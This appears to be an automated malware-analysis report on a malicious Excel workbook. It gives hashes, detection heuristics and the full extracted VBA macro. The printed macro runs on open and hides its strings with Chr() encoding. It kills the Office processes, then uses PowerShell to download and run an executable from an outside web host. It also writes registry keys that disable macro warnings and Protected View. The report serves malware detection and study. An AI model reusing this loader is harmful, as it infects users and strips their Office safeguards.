Office (OOXML) malware analysis — malicious · 948623f268bfd3b3

MALICIOUS

Office (OOXML)

20.7 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-23

MD5: 9f74302910106a5ed67ea6b0ba56381e SHA-1: e46678b1c96fb5f2b9a62a31d25514f5f0458746 SHA-256: 948623f268bfd3b32065be69c00459b70a8ccce8197344edcb7a625ae6f3064a

348 Risk Score

Heuristics 7

ClamAV: Xls.Malware.Valyria-6934880-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Valyria-6934880-0
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set wso = CreateObject("WScript.Shell")
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set shhh = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set shhh = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12940 bytes
SHA-256: `e356aedf07d69719eec40f1050ee25c3f6f95fdd518e9702e30e4e23126f97ac`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub asdasd() End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Set shhh = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)) Dim var1 Dim var2 Dim var3 Dim var4 Dim var5 Dim var6 Dim var7 Dim var8 Dim var9 Dim var010 Dim var011 var1 = Chr(99) var1 = var1 & Chr(109) var1 = var1 & Chr(100) var1 = var1 & Chr(46) var1 = var1 & Chr(101) var1 = var1 & Chr(120) var1 = var1 & Chr(101) & Chr(32) var1 = var1 & Chr(47) var1 = var1 & Chr(75) & Chr(32) var1 = var1 & Chr(116) var1 = var1 & Chr(97) var1 = var1 & Chr(115) var1 = var1 & Chr(107) var1 = var1 & Chr(107) var1 = var1 & Chr(105) var1 = var1 & Chr(108) var1 = var1 & Chr(108) & Chr(32) var1 = var1 & Chr(47) var1 = var1 & Chr(102) & Chr(32) var1 = var1 & Chr(47) var1 = var1 & Chr(105) var1 = var1 & Chr(109) & Chr(32) var1 = var1 & Chr(119) var1 = var1 & Chr(105) var1 = var1 & Chr(110) var2 = Chr(119) var2 = var2 & Chr(111) var2 = var2 & Chr(114) var2 = var2 & Chr(100) var2 = var2 & Chr(46) var2 = var2 & Chr(101) var2 = var2 & Chr(120) var2 = var2 & Chr(101) var2 = var2 & Chr(38) var2 = var2 & Chr(116) var2 = var2 & Chr(97) var2 = var2 & Chr(115) var2 = var2 & Chr(107) var2 = var2 & Chr(107) var2 = var2 & Chr(105) var2 = var2 & Chr(108) var2 = var2 & Chr(108) & Chr(32) var2 = var2 & Chr(47) var2 = var2 & Chr(102) & Chr(32) var2 = var2 & Chr(47) var2 = var2 & Chr(105) var2 = var2 & Chr(109) & Chr(32) var2 = var2 & Chr(69) var2 = var2 & Chr(120) var2 = var2 & Chr(99) var3 = Chr(101) var3 = var3 & Chr(108) & Chr(115) var3 = var3 & Chr(46) var3 = var3 & Chr(101) var3 = var3 & Chr(120) var3 = var3 & Chr(101) var4 = Chr(38) var4 = var4 & Chr(80) var4 = var4 & Chr(111) var4 = var4 & Chr(119) var4 = var4 & Chr(101) var4 = var4 & Chr(114) var4 = var4 & Chr(83) var4 = var4 & Chr(104) var4 = var4 & Chr(101) var5 = Chr(108) var5 = var5 & Chr(108) & Chr(32) var5 = var5 & Chr(40) var5 = var5 & Chr(78) var5 = var5 & Chr(101) var5 = var5 & Chr(119) var5 = var5 & Chr(45) var5 = var5 & Chr(79) var5 = var5 & Chr(98) var5 = var5 & Chr(106) var5 = var5 & Chr(101) var5 = var5 & Chr(99) var5 = var5 & Chr(116) & Chr(32) var5 = var5 & Chr(83) var5 = var5 & Chr(121) var5 = var5 & Chr(115) var5 = var5 & Chr(116) var5 = var5 & Chr(101) var6 = Chr(109) var6 = var6 & Chr(46) var6 = var6 & Chr(78) var6 = var6 & Chr(101) var6 = var6 & Chr(116) var6 = var6 & Chr(46) var6 = var6 & Chr(87) var6 = var6 & Chr(101) var6 = var6 & Chr(98) var6 = var6 & Chr(67) var6 = var6 & Chr(108) var6 = var6 & Chr(105) var6 = var6 & Chr(101) var6 = var6 & Chr(110) var6 = var6 & Chr(116) var6 = var6 & Chr(41) var6 = var6 & Chr(46) var7 = Chr(68) var7 = var7 & Chr(111) var7 = var7 & Chr(119) var7 = var7 & Chr(110) var7 = var7 & Chr(108) var7 = var7 & Chr(111) var7 = var7 & Chr(97) var7 = var7 & Chr(100) var7 = var7 & Chr(70) var7 = var7 & Chr(105) var7 = var7 & Chr(108) var7 = var7 & Chr(101) var7 = var7 & Chr(40) var7 = var7 & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(102) & Chr(97) & Chr(115) & Chr(116) & Chr(45) & Chr(99) & Chr(97) & Chr(114) & Chr(103) & Chr(111) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(105) & Chr(109) & Chr(97) & Chr(103) & Chr(101) & Chr(115) & Chr(47) & Chr(102) & Chr(105) & Chr(108) & Chr(101) & Chr(47) & Chr(51) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(39) var8 = Chr(44) var8 = var8 & Chr(39) var8 = var8 & Chr(37) var8 = var8 & Chr(97) var8 = var8 & Chr(112) var8 = var8 & Chr(112) var8 = var8 & Chr(100) var8 = var8 & Chr(97) var8 = var8 & Chr(116) var8 = var8 & Chr(97) var8 = var8 & Chr(37) var8 = var8 & Chr(92) var8 = var8 & Chr(73) var9 = Chr(110) var9 = var9 & Chr(116) var9 = var9 & Chr(101) var9 = var9 & Chr(114) var9 = var9 & Chr(110) var9 = var9 & Chr(116) var9 = var9 & Chr(101) var9 = var9 & Chr(46) var9 = var9 & Chr(101) var9 = var9 & Chr(120) var9 = var9 & Chr(101) var9 = var9 & Chr(39) var9 = var9 & Chr(41) var9 = var9 & Chr(59) var9 = var9 & Chr(83) var9 = var9 & Chr(116) var9 = var9 & Chr(97) var9 = var9 & Chr(114) var9 = var9 & Chr(116) var9 = var9 & Chr(45) var010 = Chr(80) var010 = var010 & Chr(114) var010 = var010 & Chr(111) var010 = var010 & Chr(99) var010 = var010 & Chr(101) var010 = var010 & Chr(115) var010 = var010 & Chr(115) & Chr(32) var010 = var010 & Chr(39) var010 = var010 & Chr(37) var010 = var010 & Chr(97) var010 = var010 & Chr(112) var010 = var010 & Chr(112) var010 = var010 & Chr(100) var010 = var010 & Chr(97) var010 = var010 & Chr(116) var010 = var010 & Chr(97) var011 = Chr(37) var011 = var011 & Chr(92) var011 = var011 & Chr(73) var011 = var011 & Chr(110) var011 = var011 & Chr(116) var011 = var011 & Chr(101) var011 = var011 & Chr(114) var011 = var011 & Chr(110) var011 = var011 & Chr(116) var011 = var011 & Chr(101) var011 = var011 & Chr(46) var011 = var011 & Chr(101) var011 = var011 & Chr(120) var011 = var011 & Chr(101) var011 = var011 & Chr(39) var12 = var1 + var2 + var3 + var4 + var5 + var6 + var7 + var8 + var9 + var010 + var011 shhh.Run var12, vbHide Set wso = CreateObject("WScript.Shell") wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	55808 bytes
SHA-256: `750ba9f7f1ac6fce56c8fa258767df9470eb2bbb6a625fae4f3d6fec99b2db7c`
Detection ClamAV: Xls.Malware.Valyria-6934880-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.